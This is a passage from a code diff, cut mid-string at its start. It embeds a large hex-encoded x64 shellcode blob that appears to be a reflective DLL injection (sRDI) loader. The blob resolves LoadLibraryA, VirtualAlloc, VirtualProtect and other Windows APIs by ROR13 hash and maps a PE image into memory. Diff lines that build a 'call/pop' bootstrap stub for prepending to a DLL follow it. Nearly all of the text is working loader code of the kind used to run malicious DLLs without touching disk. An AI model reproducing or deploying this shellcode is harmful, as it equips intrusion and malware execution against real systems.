D\xFF\x41\xC1\xEC\x10\x45\x8B\xD7\x45\x85\xDB\x74\x6E\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xBC\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x65\x48\x8B\x7D\xF0\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x28\x45\x33\xC0\x48\x8D\x54\x24\x20\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4D\x8B\xCF\x49\x8B\xCA\xFF\xD7\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA2\x8B\x7D\xC0\x45\x33\xFF\x45\x85\xE4\x74\x14\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xE8\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x4B\xFF\xFF\xFF\x48\x8B\x7D\x30\x44\x8B\xAD\xB8\x00\x00\x00\x4C\x8B\x65\xF0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xB9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x41\x8B\x07\x85\xC0\x0F\x84\x9D\x00\x00\x00\x41\xBD\x20\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x48\x83\x3E\x00\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x33\x4C\x8D\x43\x02\x33\xC0\x4C\x03\xC2\x41\x38\x00\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x80\x3A\x00\x75\xF5\x4C\x89\x44\x24\x28\x48\x8D\x54\x24\x20\x45\x33\xC0\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4C\x8B\xCE\x41\xFF\xD4\x48\x83\xC6\x08\x49\x83\xC6\x08\x48\x83\x3E\x00\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x4D\x03\xFD\x41\x8B\x07\x85\xC0\x0F\x85\x70\xFF\xFF\xFF\x44\x8B\xAD\xB8\x00\x00\x00\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\xA4\x00\x00\x00\x48\x03\xF7\x45\x8D\x6C\x24\x1F\x44\x39\x3E\x74\x7C\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x40\x0F\xBA\xE0\x1D\x72\x22\x85\xC9\x75\x0C\x85\xC0\x44\x8D\x41\x08\x45\x0F\x49\xC4\xEB\x33\x41\xB8\x04\x00\x00\x00\x85\xC0\x41\x8D\x40\xFE\x44\x0F\x49\xC0\xEB\x21\x85\xC9\x75\x11\xB9\x10\x00\x00\x00\x85\xC0\x44\x8D\x41\x70\x44\x0F\x49\xC1\xEB\x0C\x85\xC0\x41\xB8\x40\x00\x00\x00\x45\x0F\x49\xC5\x44\x89\x44\x24\x30\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x30\x8B\x4E\xFC\x4C\x8D\x4C\x24\x30\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\x6B\xFF\xFF\xFF\x44\x8B\xAD\xB8\x00\x00\x00\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x45\x85\xED\x0F\x84\xBB\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\xAE\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x0F\x84\x98\x00\x00\x00\x44\x39\x79\x14\x0F\x84\x8E\x00\x00\x00\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x79\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x6E\x41\x8A\x00\x84\xC0\x74\x1E\x4D\x03\xC4\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x41\x8A\x00\x84\xC0\x75\xEC\x45\x3B\xEA\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x39\xEB\xBE\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x44\x8B\x04\x88\x4C\x03\xC3\xF6\x85\xD8\x00\x00\x00\x08\x74\x0E\x48\x8B\x8D\xD0\x00\x00\x00\xBA\x08\x00\x00\x00\xEB\x0D\x8B\x95\xC8\x00\x00\x00\x48\x8B\x8D\xC0\x00\x00\x00\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x52\x10\x4D\x8B\x42\x30\x4D\x85\xC0\x0F\x84\xB7\x00\x00\x00\x41\x0F\x10\x42\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x12\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xC8\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xE9\x01\x75\xE7\x4B\x8D\x3C\x18\x44\x8B\x4F\x18\x8B\x47\x20\x41\xFF\xC9\x49\x03\xC0\x4A\x8D\x34\x88\xEB\x28\x8B\x1E\x45\x8B\xDE\x49\x03\xD8\x48\x8D\x76\xFC\x0F\xBE\x0B\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD9\x84\xC9\x75\xEF\x41\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC9\x41\x83\xF9\x01\x77\xD2\xE9\x58\xFF\xFF\xFF\x8B\x47\x24\x43\x8D\x0C\x09\x49\x03\xC0\x0F\xB7\x14\x01\x8B\x4F\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3"; + const char* rdiShellcode64 = "\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD0\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x44\x8B\xEA\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xE8\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x24\xC7\x45\xD4\x72\x00\x6E\x00\xC7\x45\xD8\x65\x00\x6C\x00\xC7\x45\xDC\x33\x00\x32\x00\xC7\x45\xE0\x2E\x00\x64\x00\xC7\x45\xE4\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x64\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x57\x08\x00\x00\x4C\x8B\xE0\x48\x89\x45\xF0\x48\x8D\x45\xD0\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xC8\xC7\x44\x24\x20\x0C\x00\x0C\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x00\xC7\x44\x24\x20\x0E\x00\x0E\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\xC7\x44\x24\x20\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x48\x8D\x45\xA8\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x08\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x10\xC7\x44\x24\x20\x13\x00\x13\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xE8\xC7\x44\x24\x20\x05\x00\x05\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x18\xC7\x44\x24\x20\x13\x00\x13\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xF8\xC7\x44\x24\x20\x0C\x00\x0C\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x4C\x39\x7D\xC8\x0F\x84\x03\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\xF9\x06\x00\x00\x4C\x39\x7D\xE8\x0F\x84\xEF\x06\x00\x00\x4C\x39\x7D\x08\x0F\x84\xE5\x06\x00\x00\x4C\x8B\x4D\x10\x4D\x85\xC9\x0F\x84\xD8\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xC5\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xB6\x06\x00\x00\x44\x8B\x47\x38\x45\x8D\x5F\x01\x45\x84\xC3\x0F\x85\xA5\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x29\x44\x0F\xB7\x57\x06\x48\x03\xCF\x8B\x41\x04\x8B\x11\x85\xC0\x75\x06\x41\x8D\x04\x10\xEB\x02\x03\xC2\x3B\xC3\x0F\x46\xC3\x48\x83\xC1\x28\x8B\xD8\x4D\x2B\xD3\x75\xDF\x48\x8D\x4D\x38\x41\xFF\xD1\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x32\x06\x00\x00\x48\x8B\x4F\x30\x41\xB9\x04\x00\x00\x00\x41\xB8\x00\x30\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x15\x44\x8D\x48\x04\x41\xB8\x00\x30\x00\x00\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x41\xBB\x01\x00\x00\x00\x44\x84\x9D\xD8\x00\x00\x00\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x9B\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x8B\x85\xD8\x00\x00\x00\x45\x8B\xE7\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x8E\x00\x00\x00\x45\x3B\xEB\x0F\x86\x85\x00\x00\x00\x44\x8B\xA5\xD8\x00\x00\x00\x45\x8D\x5D\xFF\x41\xC1\xEC\x10\x45\x8B\xD7\x45\x85\xDB\x74\x6E\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xBC\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x65\x48\x8B\x7D\xF0\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x28\x45\x33\xC0\x48\x8D\x54\x24\x20\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4D\x8B\xCF\x49\x8B\xCA\xFF\xD7\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA2\x8B\x7D\xC0\x45\x33\xFF\x45\x85\xE4\x74\x14\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xE8\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x4B\xFF\xFF\xFF\x48\x8B\x7D\x30\x44\x8B\xAD\xB8\x00\x00\x00\x4C\x8B\x65\xF0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xB9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x41\x8B\x07\x85\xC0\x0F\x84\x9D\x00\x00\x00\x41\xBD\x20\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x48\x83\x3E\x00\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x33\x4C\x8D\x43\x02\x33\xC0\x4C\x03\xC2\x41\x38\x00\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x80\x3A\x00\x75\xF5\x4C\x89\x44\x24\x28\x48\x8D\x54\x24\x20\x45\x33\xC0\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4C\x8B\xCE\x41\xFF\xD4\x48\x83\xC6\x08\x49\x83\xC6\x08\x48\x83\x3E\x00\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x4D\x03\xFD\x41\x8B\x07\x85\xC0\x0F\x85\x70\xFF\xFF\xFF\x44\x8B\xAD\xB8\x00\x00\x00\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\xA4\x00\x00\x00\x48\x03\xF7\x45\x8D\x6C\x24\x1F\x44\x39\x3E\x74\x7C\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x40\x0F\xBA\xE0\x1D\x72\x22\x85\xC9\x75\x0C\x85\xC0\x44\x8D\x41\x08\x45\x0F\x49\xC4\xEB\x33\x41\xB8\x04\x00\x00\x00\x85\xC0\x41\x8D\x40\xFE\x44\x0F\x49\xC0\xEB\x21\x85\xC9\x75\x11\xB9\x10\x00\x00\x00\x85\xC0\x44\x8D\x41\x70\x44\x0F\x49\xC1\xEB\x0C\x85\xC0\x41\xB8\x40\x00\x00\x00\x45\x0F\x49\xC5\x44\x89\x44\x24\x30\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x30\x8B\x4E\xFC\x4C\x8D\x4C\x24\x30\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\x6B\xFF\xFF\xFF\x44\x8B\xAD\xB8\x00\x00\x00\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x45\x85\xED\x0F\x84\xBB\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\xAE\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x0F\x84\x98\x00\x00\x00\x44\x39\x79\x14\x0F\x84\x8E\x00\x00\x00\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x79\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x6E\x41\x8A\x00\x84\xC0\x74\x1E\x4D\x03\xC4\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x41\x8A\x00\x84\xC0\x75\xEC\x45\x3B\xEA\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x39\xEB\xBE\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x44\x8B\x04\x88\x4C\x03\xC3\xF6\x85\xD8\x00\x00\x00\x08\x74\x0E\x48\x8B\x8D\xD0\x00\x00\x00\xBA\x08\x00\x00\x00\xEB\x0D\x8B\x95\xC8\x00\x00\x00\x48\x8B\x8D\xC0\x00\x00\x00\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x52\x10\x4D\x8B\x42\x30\x4D\x85\xC0\x0F\x84\xB7\x00\x00\x00\x41\x0F\x10\x42\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x12\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xC8\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xE9\x01\x75\xE7\x4B\x8D\x3C\x18\x44\x8B\x4F\x18\x8B\x47\x20\x41\xFF\xC9\x49\x03\xC0\x4A\x8D\x34\x88\xEB\x28\x8B\x1E\x45\x8B\xDE\x49\x03\xD8\x48\x8D\x76\xFC\x0F\xBE\x0B\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD9\x84\xC9\x75\xEF\x41\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC9\x41\x83\xF9\x01\x77\xD2\xE9\x58\xFF\xFF\xFF\x8B\x47\x24\x43\x8D\x0C\x09\x49\x03\xC0\x0F\xB7\x14\x01\x8B\x4F\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3"; DWORD rdiShellcode32Length = 2981, rdiShellcode64Length = 2772; //MARKER:E #endif - if (Is64BitDLL((UINT_PTR)inBytes)) - { - rdiShellcode = rdiShellcode64; - rdiShellcodeLength = rdiShellcode64Length; + if (Is64BitDLL((UINT_PTR)inBytes)) { + rdiShellcode = rdiShellcode64; + rdiShellcodeLength = rdiShellcode64Length; - if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; + if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; - BYTE bootstrap[69] = { 0 }; - DWORD i = 0; + BYTE bootstrap[69] = { 0 }; + DWORD i = 0; - // call next instruction (Pushes next instruction address to stack) - bootstrap[i++] = 0xe8; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; - bootstrap[i++] = 0x00; + // call next instruction (Pushes next instruction address to stack) + bootstrap[i++] = 0xe8; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; - // Set the offset to our DLL from pop result - dllOffset = sizeof(bootstrap) - i + rdiShellcodeLength; + // Set the offset to our DLL from pop result + dllOffset = sizeof(bootstrap) - i + rdiShellcodeLength; - // pop rcx - Capture our current location in memory - bootstrap[i++] = 0x59; + // pop rcx - Capture our current location in memory + bootstrap[i++] = 0x59; - // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX - bootstrap[i++] = 0x49; - bootstrap[i++] = 0x89; - bootstrap[i++] = 0xc8; + // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap[i++] = 0x49; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xc8; - // mov edx, - bootstrap[i++] = 0xba; - 